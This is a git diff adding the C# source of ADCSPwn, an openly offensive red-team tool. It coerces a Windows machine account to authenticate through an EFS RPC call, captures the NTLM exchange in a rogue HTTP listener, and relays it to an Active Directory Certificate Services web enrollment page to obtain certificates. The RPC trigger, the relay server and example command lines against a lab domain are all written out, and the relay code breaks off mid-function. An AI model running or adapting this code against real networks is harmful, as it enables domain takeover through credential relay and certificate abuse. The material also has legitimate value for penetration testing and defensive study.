diff --git a/ADCSPwn/.vs/ADCSPwn/v16/.suo b/ADCSPwn/.vs/ADCSPwn/v16/.suo
new file mode 100644
index 0000000..4d10af9
Binary files /dev/null and b/ADCSPwn/.vs/ADCSPwn/v16/.suo differ
diff --git a/ADCSPwn/ADCSPwn.csproj b/ADCSPwn/ADCSPwn.csproj
new file mode 100644
index 0000000..5b71494
--- /dev/null
+++ b/ADCSPwn/ADCSPwn.csproj
@@ -0,0 +1,72 @@
+
+
+
+
+
+ Debug
+ AnyCPU
+ {980EF05F-87D1-4A0A-932A-582FB1BC3AC3}
+ Exe
+ ADCSPwn
+ ADCSPwn
+ v4.5
+ 512
+ true
+
+
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+
+
+
+ packages\BouncyCastle.1.8.9\lib\BouncyCastle.Crypto.dll
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ADCSPwn/ADCSPwn.sln b/ADCSPwn/ADCSPwn.sln
new file mode 100644
index 0000000..46c2024
--- /dev/null
+++ b/ADCSPwn/ADCSPwn.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.30717.126
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ADCSPwn", "ADCSPwn.csproj", "{980EF05F-87D1-4A0A-932A-582FB1BC3AC3}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {980EF05F-87D1-4A0A-932A-582FB1BC3AC3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {980EF05F-87D1-4A0A-932A-582FB1BC3AC3}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {980EF05F-87D1-4A0A-932A-582FB1BC3AC3}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {980EF05F-87D1-4A0A-932A-582FB1BC3AC3}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {7FB2236B-91A0-40A2-B28D-523E47B1D98D}
+ EndGlobalSection
+EndGlobal
diff --git a/ADCSPwn/App.config b/ADCSPwn/App.config
new file mode 100644
index 0000000..fad249e
--- /dev/null
+++ b/ADCSPwn/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ADCSPwn/Config.cs b/ADCSPwn/Config.cs
new file mode 100644
index 0000000..73e92fc
--- /dev/null
+++ b/ADCSPwn/Config.cs
@@ -0,0 +1,21 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace ADCSPwn
+{
+ class Config
+ {
+ public static int port = 8080;
+ public static string machine = "localhost";
+ public static string adcs = "";
+ public static string banner = @"
+ _____ ________ _________ ___________________
+ / _ \ \______ \ \_ ___ \ / _____/\______ \__ _ ______
+ / /_\ \ | | \/ \ \/ \_____ \ | ___/\ \/ \/ / \
+/ | \| ` \ \____/ \ | | \ / | \
+\____|__ /_______ /\______ /_______ / |____| \/\_/|___| /
+ \/ \/ \/ \/ \/
+";
+ }
+}
diff --git a/ADCSPwn/EFSTrigger.cs b/ADCSPwn/EFSTrigger.cs
new file mode 100644
index 0000000..20383a6
--- /dev/null
+++ b/ADCSPwn/EFSTrigger.cs
@@ -0,0 +1,378 @@
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Net.NetworkInformation;
+using System.Collections.Generic;
+using System.Text;
+using System.Runtime.InteropServices;
+using System.IO;
+using System.Linq;
+using System.ComponentModel;
+using System.Security.Permissions;
+using System.Diagnostics;
+using System.Threading;
+using System.Security.Principal;
+using Microsoft.Win32.SafeHandles;
+
+namespace ADCSPwn
+{
+ class EFSTrigger
+ {
+ public static void CoerceMachineAuth(string machine)
+ {
+ // trigger connection from the workstations machine account
+
+ EfsrTiny r = new EfsrTiny();
+ IntPtr hHandle = IntPtr.Zero;
+
+ try
+ {
+
+ string connection_path = "";
+ const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+
+ // sometime the webclient will cache uris so not to hit the same one twice
+ // if a previous request has failed. this is an edge case, but its still
+ // best to try an avoid it.
+ var random = new Random();
+ var part1 = new string(Enumerable.Repeat(chars, 10).Select(s => s[random.Next(s.Length)]).ToArray());
+ var part2 = new string(Enumerable.Repeat(chars, 10).Select(s => s[random.Next(s.Length)]).ToArray());
+ var part3 = new string(Enumerable.Repeat(chars, 10).Select(s => s[random.Next(s.Length)]).ToArray());
+
+ connection_path += "\\\\";
+ connection_path += Dns.GetHostName(); // needs to be a dns name
+ connection_path += "@";
+ connection_path += Config.port;
+ connection_path += "/";
+ connection_path += part1 + "\\";
+ connection_path += part2 + "\\";
+ connection_path += part3;
+
+ r.EfsRpcOpenFileRaw(out hHandle, connection_path, machine, 0);
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine(ex);
+ }
+
+ return;
+ }
+ }
+ class EfsrTiny
+ {
+ [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW",CallingConvention = CallingConvention.StdCall,CharSet = CharSet.Unicode, SetLastError = false)]
+ private static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding);
+
+ [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,CharSet = CharSet.Unicode, SetLastError = false)]
+ private static extern IntPtr NdrClientCall2x86(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr args);
+
+ [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall,CharSet = CharSet.Unicode, SetLastError = false)]
+ private static extern Int32 RpcBindingFree(ref IntPtr lpString);
+
+ [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall,CharSet = CharSet.Unicode, SetLastError = false)]
+ private static extern Int32 RpcStringBindingCompose(String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options,out IntPtr lpBindingString);
+
+ [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)]
+ private static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue);
+
+ [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)]
+ internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, out IntPtr hContext, string FileName, int Flags);
+
+ private static byte[] MIDL_ProcFormatStringx86 = new byte[] { 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x40, 0x00, 0x46, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x04, 0x00, 0x06, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x0c, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00, 0x00, 0x00 };
+
+ private static byte[] MIDL_ProcFormatStringx64 = new byte[] { 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x40, 0x00, 0x46, 0x04, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x08, 0x00, 0x06, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x0c, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x00 };
+
+ private static byte[] MIDL_TypeFormatStringx86 = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x00, 0x00 };
+
+ private static byte[] MIDL_TypeFormatStringx64 = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x00, 0x00 };
+ Guid interfaceId;
+ public EfsrTiny()
+ {
+ interfaceId = new Guid("c681d488-d850-11d0-8c52-00c04fd90f7e");
+ if (IntPtr.Size == 8)
+ {
+ InitializeStub(interfaceId, MIDL_ProcFormatStringx64, MIDL_TypeFormatStringx64, "\\pipe\\lsarpc", 1, 0);
+ }
+ else
+ {
+ InitializeStub(interfaceId, MIDL_ProcFormatStringx86, MIDL_TypeFormatStringx86, "\\pipe\\lsarpc", 1, 0);
+ }
+ }
+
+ ~EfsrTiny()
+ {
+ freeStub();
+ }
+ public int EfsRpcOpenFileRaw(out IntPtr hContext, string FileName, string target, int Flags)
+ {
+ IntPtr result = IntPtr.Zero;
+ IntPtr pfn = Marshal.StringToHGlobalUni(FileName);
+
+ hContext = IntPtr.Zero;
+ try
+ {
+ if (IntPtr.Size == 8)
+ {
+ result = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(2), Bind(Marshal.StringToHGlobalUni(target)), out hContext, FileName, Flags);
+ }
+ else
+ {
+ IntPtr tempValue = IntPtr.Zero;
+ GCHandle handle = GCHandle.Alloc(tempValue, GCHandleType.Pinned);
+ IntPtr tempValuePointer = handle.AddrOfPinnedObject();
+ try
+ {
+ result = CallNdrClientCall2x86(2, Bind(Marshal.StringToHGlobalUni(target)), tempValuePointer, pfn, IntPtr.Zero);
+ hContext = Marshal.ReadIntPtr(tempValuePointer);
+ }
+ finally
+ {
+ handle.Free();
+ }
+ }
+ }
+ catch (SEHException)
+ {
+ int err = Marshal.GetExceptionCode();
+ return err;
+ }
+ finally
+ {
+ if (pfn != IntPtr.Zero)
+ Marshal.FreeHGlobal(pfn);
+ }
+ return (int)result.ToInt64();
+ }
+ private byte[] MIDL_ProcFormatString;
+ private byte[] MIDL_TypeFormatString;
+ private GCHandle procString;
+ private GCHandle formatString;
+ private GCHandle stub;
+ private GCHandle faultoffsets;
+ private GCHandle clientinterface;
+ private string PipeName;
+
+ allocmemory AllocateMemoryDelegate = AllocateMemory;
+ freememory FreeMemoryDelegate = FreeMemory;
+
+ public UInt32 RPCTimeOut = 5000;
+
+ protected void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, string pipe, ushort MajorVerson, ushort MinorVersion)
+ {
+ this.MIDL_ProcFormatString = MIDL_ProcFormatString;
+ this.MIDL_TypeFormatString = MIDL_TypeFormatString;
+ PipeName = pipe;
+ procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned);
+
+ RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion);
+
+ COMM_FAULT_OFFSETS commFaultOffset = new COMM_FAULT_OFFSETS();
+ commFaultOffset.CommOffset = -1;
+ commFaultOffset.FaultOffset = -1;
+ faultoffsets = GCHandle.Alloc(commFaultOffset, GCHandleType.Pinned);
+ clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned);
+ formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned);
+
+ MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(),
+ clientinterface.AddrOfPinnedObject(),
+ Marshal.GetFunctionPointerForDelegate(AllocateMemoryDelegate),
+ Marshal.GetFunctionPointerForDelegate(FreeMemoryDelegate));
+
+ stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned);
+ }
+
+
+ protected void freeStub()
+ {
+ procString.Free();
+ faultoffsets.Free();
+ clientinterface.Free();
+ formatString.Free();
+ stub.Free();
+ }
+
+ delegate IntPtr allocmemory(int size);
+
+ protected static IntPtr AllocateMemory(int size)
+ {
+ IntPtr memory = Marshal.AllocHGlobal(size);
+ return memory;
+ }
+
+ delegate void freememory(IntPtr memory);
+
+ protected static void FreeMemory(IntPtr memory)
+ {
+ Marshal.FreeHGlobal(memory);
+ }
+
+
+ protected IntPtr Bind(IntPtr IntPtrserver)
+ {
+ string server = Marshal.PtrToStringUni(IntPtrserver);
+ IntPtr bindingstring = IntPtr.Zero;
+ IntPtr binding = IntPtr.Zero;
+ Int32 status;
+ status = RpcStringBindingCompose(interfaceId.ToString(), "ncacn_np", server, PipeName, null, out bindingstring);
+ if (status != 0)
+ {
+ Console.WriteLine("[!] RpcStringBindingCompose failed with status 0x" + status.ToString("x"));
+ return IntPtr.Zero;
+ }
+ status = RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding);
+ RpcBindingFree(ref bindingstring);
+ if (status != 0)
+ {
+ Console.WriteLine("[!] RpcBindingFromStringBinding failed with status 0x" + status.ToString("x"));
+ return IntPtr.Zero;
+ }
+
+ status = RpcBindingSetOption(binding, 12, new IntPtr(RPCTimeOut));
+ if (status != 0)
+ {
+ Console.WriteLine("[!] RpcBindingSetOption failed with status 0x" + status.ToString("x"));
+ }
+ return binding;
+ }
+
+ protected IntPtr GetProcStringHandle(int offset)
+ {
+ return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatString, offset);
+ }
+
+ protected IntPtr GetStubHandle()
+ {
+ return stub.AddrOfPinnedObject();
+ }
+ protected IntPtr CallNdrClientCall2x86(int offset, params IntPtr[] args)
+ {
+
+ GCHandle stackhandle = GCHandle.Alloc(args, GCHandleType.Pinned);
+ IntPtr result;
+ try
+ {
+ result = NdrClientCall2x86(GetStubHandle(), GetProcStringHandle(offset), stackhandle.AddrOfPinnedObject());
+ }
+ finally
+ {
+ stackhandle.Free();
+ }
+ return result;
+ }
+ }
+ [StructLayout(LayoutKind.Sequential)]
+ struct COMM_FAULT_OFFSETS
+ {
+ public short CommOffset;
+ public short FaultOffset;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ struct RPC_VERSION
+ {
+ public ushort MajorVersion;
+ public ushort MinorVersion;
+ public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor)
+ {
+ MajorVersion = InterfaceVersionMajor;
+ MinorVersion = InterfaceVersionMinor;
+ }
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ struct RPC_SYNTAX_IDENTIFIER
+ {
+ public Guid SyntaxGUID;
+ public RPC_VERSION SyntaxVersion;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ struct RPC_CLIENT_INTERFACE
+ {
+ public uint Length;
+ public RPC_SYNTAX_IDENTIFIER InterfaceId;
+ public RPC_SYNTAX_IDENTIFIER TransferSyntax;
+ public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable;
+ public uint RpcProtseqEndpointCount;
+ public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint;
+ public IntPtr Reserved;
+ public IntPtr InterpreterInfo;
+ public uint Flags;
+
+ public static Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60);
+
+ public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor)
+ {
+ Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE));
+ RPC_VERSION rpcVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor);
+ InterfaceId = new RPC_SYNTAX_IDENTIFIER();
+ InterfaceId.SyntaxGUID = iid;
+ InterfaceId.SyntaxVersion = rpcVersion;
+ rpcVersion = new RPC_VERSION(2, 0);
+ TransferSyntax = new RPC_SYNTAX_IDENTIFIER();
+ TransferSyntax.SyntaxGUID = IID_SYNTAX;
+ TransferSyntax.SyntaxVersion = rpcVersion;
+ DispatchTable = IntPtr.Zero;
+ RpcProtseqEndpointCount = 0u;
+ RpcProtseqEndpoint = IntPtr.Zero;
+ Reserved = IntPtr.Zero;
+ InterpreterInfo = IntPtr.Zero;
+ Flags = 0u;
+ }
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ struct MIDL_STUB_DESC
+ {
+ public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation;
+ public IntPtr pfnAllocate;
+ public IntPtr pfnFree;
+ public IntPtr pAutoBindHandle;
+ public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines;
+ public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs;
+ public IntPtr /*EXPR_EVAL*/ apfnExprEval;
+ public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple;
+ public IntPtr pFormatTypes;
+ public int fCheckBounds;
+ /* Ndr library version. */
+ public uint Version;
+ public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct;
+ public int MIDLVersion;
+ public IntPtr CommFaultOffsets;
+ // New fields for version 3.0+
+ public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple;
+ // Notify routines - added for NT5, MIDL 5.0
+ public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable;
+ public IntPtr mFlags;
+ // International support routines - added for 64bit post NT5
+ public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables;
+ public IntPtr ProxyServerInfo;
+ public IntPtr /*NDR_EXPR_DESC*/ pExprInfo;
+ // Fields up to now present in win2000 release.
+
+ public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr,
+ IntPtr pfnAllocatePtr, IntPtr pfnFreePtr)
+ {
+ pFormatTypes = pFormatTypesPtr;
+ RpcInterfaceInformation = RpcInterfaceInformationPtr;
+ CommFaultOffsets = IntPtr.Zero;
+ pfnAllocate = pfnAllocatePtr;
+ pfnFree = pfnFreePtr;
+ pAutoBindHandle = IntPtr.Zero;
+ apfnNdrRundownRoutines = IntPtr.Zero;
+ aGenericBindingRoutinePairs = IntPtr.Zero;
+ apfnExprEval = IntPtr.Zero;
+ aXmitQuintuple = IntPtr.Zero;
+ fCheckBounds = 1;
+ Version = 0x50002u;
+ pMallocFreeStruct = IntPtr.Zero;
+ MIDLVersion = 0x801026e;
+ aUserMarshalQuadruple = IntPtr.Zero;
+ NotifyRoutineTable = IntPtr.Zero;
+ mFlags = new IntPtr(0x00000001);
+ CsRoutineTables = IntPtr.Zero;
+ ProxyServerInfo = IntPtr.Zero;
+ pExprInfo = IntPtr.Zero;
+ }
+ }
+}
diff --git a/ADCSPwn/Program.cs b/ADCSPwn/Program.cs
new file mode 100644
index 0000000..c813780
--- /dev/null
+++ b/ADCSPwn/Program.cs
@@ -0,0 +1,109 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace ADCSPwn
+{
+ class Program
+ {
+ static void ShowHelp()
+ {
+ Console.WriteLine("adcspwn.exe --adcs --port [local port] --remote [computer]\n");
+
+ Console.WriteLine("Required arguments:");
+ Console.WriteLine("adcs\t\t-\tThis is the address of the AD CS server which authentication will be relayed to.");
+
+ Console.WriteLine("\nOptional arguments:");
+ Console.WriteLine("port\t\t-\tThe port ADCSPwn will listen on.");
+ Console.WriteLine("remote\t\t-\tRemote machine to trigger authentication from.");
+
+ Console.WriteLine("\nExample usage:");
+ Console.WriteLine("adcspwn.exe --adcs cs.pwnlab.local");
+ Console.WriteLine("adcspwn.exe --adcs cs.pwnlab.local --port 9001");
+ Console.WriteLine("adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local");
+ Console.WriteLine("adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001");
+ }
+
+ static void ShowBanner()
+ {
+ Console.WriteLine(Config.banner);
+ Console.WriteLine("Author: @_batsec_ - MDSec ActiveBreach\n");
+ }
+
+ static void ParseArgs(string[] args)
+ {
+ int iter = 0;
+ foreach (string item in args)
+ {
+ switch (item)
+ {
+ case "--port":
+ Config.port = int.Parse(args[iter + 1]);
+ break;
+ case "--adcs":
+ Config.adcs = args[iter + 1];
+ break;
+ case "--remote":
+ Config.machine = args[iter + 1];
+ break;
+ default:
+ break;
+ }
+
+ ++iter;
+ }
+ }
+
+
+ static void Main(string[] args)
+ {
+ ShowBanner();
+
+ if (args.Length < 2)
+ {
+ ShowHelp();
+ return;
+ }
+
+ ParseArgs(args);
+
+ TemplateHunter templatehunter = new TemplateHunter();
+
+ try
+ {
+ String[] templates = templatehunter.FindAll();
+
+ int certcount = 0;
+ for (int i = 0; i < templates.Length; i++)
+ {
+ if (templates[i] != null)
+ {
+ ++certcount;
+ }
+ }
+
+ Console.WriteLine("[i] Found "+certcount+" certificate templates");
+
+ RelayServer relayserver = new RelayServer();
+ relayserver.Initialize(templates);
+
+ Console.WriteLine("[i] Triggering authentication from target ({0})\n", Config.machine);
+
+ EFSTrigger.CoerceMachineAuth(Config.machine);
+
+ while (true)
+ {
+ Thread.Sleep(10000);
+ continue;
+ }
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine(e.Message);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/ADCSPwn/Properties/AssemblyInfo.cs b/ADCSPwn/Properties/AssemblyInfo.cs
new file mode 100644
index 0000000..9024726
--- /dev/null
+++ b/ADCSPwn/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("ADCSPwn")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("ADCSPwn")]
+[assembly: AssemblyCopyright("Copyright © 2021")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("980ef05f-87d1-4a0a-932a-582fb1bc3ac3")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/ADCSPwn/RelayServer.cs b/ADCSPwn/RelayServer.cs
new file mode 100644
index 0000000..0c7f101
--- /dev/null
+++ b/ADCSPwn/RelayServer.cs
@@ -0,0 +1,459 @@
+using System;
+using System.Net;
+using System.Text;
+using System.Net.Sockets;
+using System.Threading;
+using System.Net.NetworkInformation;
+using System.IO;
+using System.Collections;
+using System.Collections.Generic;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text.RegularExpressions;
+
+using Org.BouncyCastle.Asn1;
+using Org.BouncyCastle.Pkcs;
+using Org.BouncyCastle.X509;
+using Org.BouncyCastle.Crypto;
+using Org.BouncyCastle.OpenSsl;
+using Org.BouncyCastle.Security;
+using Org.BouncyCastle.Asn1.X509;
+using Org.BouncyCastle.Asn1.Pkcs;
+using Org.BouncyCastle.Crypto.Prng;
+using Org.BouncyCastle.Crypto.Generators;
+
+namespace ADCSPwn
+{
+ class RelayServer
+ {
+ private TcpListener _listener;
+ public String[] CertificateTemplates;
+ public bool DieOnNextRun;
+
+ public void Initialize(String[] Templates)
+ {
+ CertificateTemplates = Templates;
+
+ Console.WriteLine("[i] Set ADCS web service as: " + Config.adcs);
+
+ _listener = new TcpListener(System.Net.IPAddress.Any, Config.port);
+ _listener.Start();
+
+ ThreadPool.QueueUserWorkItem(this.ListenerWorker, null);
+ }
+
+ private void ListenerWorker(object token)
+ {
+ while (_listener != null)
+ {
+ if (DieOnNextRun)
+ {
+ System.Environment.Exit(1);
+ }
+ try
+ {
+ var client = _listener.AcceptTcpClient();
+ ThreadPool.QueueUserWorkItem(this.HandleClientWorker, client);
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine("[!] Exception occurred:");
+ Console.WriteLine(e.Message);
+ }
+ }
+ }
+
+ private void HandleClientWorker(object token)
+ {
+ if (DieOnNextRun)
+ {
+ System.Environment.Exit(1);
+ }
+ try
+ {
+ var client = token as TcpClient;
+ var stream = client.GetStream();
+
+ using (var reader = new StreamReader(stream))
+ {
+ var writer = new StreamWriter(stream);
+ var requestFinished = 0;
+ var method = "";
+ var uri = "";
+ var httpver = "";
+ var state = 0;
+
+ var headers = new Dictionary();
+
+ while (requestFinished == 0)
+ {
+ if (state == 0)
+ {
+ var lineInput = reader.ReadLine();
+ var line = lineInput.Split(' ');
+ method = line[0];
+ uri = line[1];
+ httpver = line[2];
+ state = 1;
+ }
+ else
+ {
+ var lineInput = reader.ReadLine();
+ if (lineInput == "")
+ {
+ requestFinished = 1;
+ var body = "";
+ var response = HandleWebRequest(method, uri, httpver, headers, body, client);
+
+ writer.Write(response);
+ writer.Flush();
+ client.Close();
+ }
+ else
+ {
+ string[] line = lineInput.Split(':');
+ headers.Add(line[0].Trim().ToLower(), line[1].TrimStart());
+ }
+ }
+ }
+ }
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine("[*] Exception occurred:");
+ Console.WriteLine(e.Message);
+ }
+ }
+
+ public static HttpWebResponse SendWebRequest(string url, string method, string payload, string auth_header, string header_val)
+ {
+ HttpWebRequest HttpReq = (HttpWebRequest)WebRequest.Create(url);
+ HttpWebResponse HttpResp = null;
+
+ try
+ {
+ HttpReq.Method = method;
+ HttpReq.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko";
+
+ if (method == "POST")
+ {
+ HttpReq.ContentType = "application/x-www-form-urlencoded";
+ HttpReq.ContentLength = payload.Length;
+ }
+
+ if (auth_header.Length != 0)
+ {
+ if (auth_header == "Authorization")
+ {
+ header_val = "NTLM " + header_val;
+ }
+
+ HttpReq.Headers.Add(auth_header, header_val);
+ }
+
+ if (method == "POST")
+ {
+ byte[] payload_bytes = Encoding.UTF8.GetBytes(payload);
+
+ Stream ReqStream = HttpReq.GetRequestStream();
+ ReqStream.Write(payload_bytes, 0, payload_bytes.Length);
+ ReqStream.Close();
+ }
+
+ HttpResp = (HttpWebResponse)HttpReq.GetResponse();
+ }
+ catch (WebException e)
+ {
+ HttpResp = (HttpWebResponse)e.Response;
+ }
+
+ return HttpResp;
+ }
+
+ private string HandleWebRequest(string method, string uri, string httpVersion, Dictionary headers, string body, TcpClient client)
+ {
+ if (headers.ContainsKey("authorization") == false)
+ {
+ return "HTTP/1.0 401 Unauthorized\r\nServer: Microsoft-IIS/6.0\r\nContent-Type: text/html\r\nWWW-Authenticate: NTLM\r\nX-Powered-By: ASP.NET\r\nConnection: Close\r\nContent-Length: 0\r\n\r\n";
+ }
+
+ else if (headers.ContainsKey("authorization"))
+ {
+
+ Console.WriteLine("[+] Client ({0}) connected", ((IPEndPoint)client.Client.RemoteEndPoint).Address.ToString());
+
+ var auth = headers["authorization"].Split();
+ if (auth[0] == "NTLM")
+ {
+ auth[1] = auth[1].TrimStart();
+ byte[] NTLMHash = System.Convert.FromBase64String(auth[1]);
+
+ // get the message type
+ var MsgType = BitConverter.ToInt16(NTLMHash, 8);
+
+ if (MsgType == 1)
+ {
+ // make the initial request without auth
+ Console.WriteLine(" |_ Attempting to access without authentication");
+ HttpWebResponse HttpResp = SendWebRequest("http://"+Config.adcs+"/certsrv/certfnsh.asp", "GET", "", "", "");
+ HttpResp.Close();
+
+ int StatusCode = (int)HttpResp.StatusCode;
+
+ if (StatusCode == 401) {
+ Console.WriteLine(" | |_ ACCESS_DENIED (this is expected)");
+ }
+
+ else if (StatusCode == 200) {
+ Console.WriteLine(" | |_ SUCCESS (does not appear to require authentication, exiting)");
+ System.Environment.Exit(1);
+ }
+
+ else {
+ Console.WriteLine(" | |_ "+StatusCode+" (unexpected status code, continuing)");
+ }
+
+ // start the negotiation
+ Console.WriteLine(" |_ Attempting to authenticate");
+ Console.WriteLine(" |_ Relaying NTLMSSP_NEGOTIATE to target");
+ HttpResp = SendWebRequest("http://"+Config.adcs+"/certsrv/certfnsh.asp", "GET", "", "Authorization", auth[1]);
+ HttpResp.Close();
+
+ // find the challenge
+ String challenge = "";
+ for (int i = 0; i < HttpResp.Headers.Count; i++)
+ {
+ if (HttpResp.Headers.GetKey(i) == "WWW-Authenticate")
+ {
+ challenge = HttpResp.Headers.Get(i).ToString();
+ }
+ }
+
+ // make sure we found it
+ if (challenge.Length == 0)
+ {
+ Console.WriteLine("Failed to find challenge... exiting");
+ System.Environment.Exit(1);
+ }
+
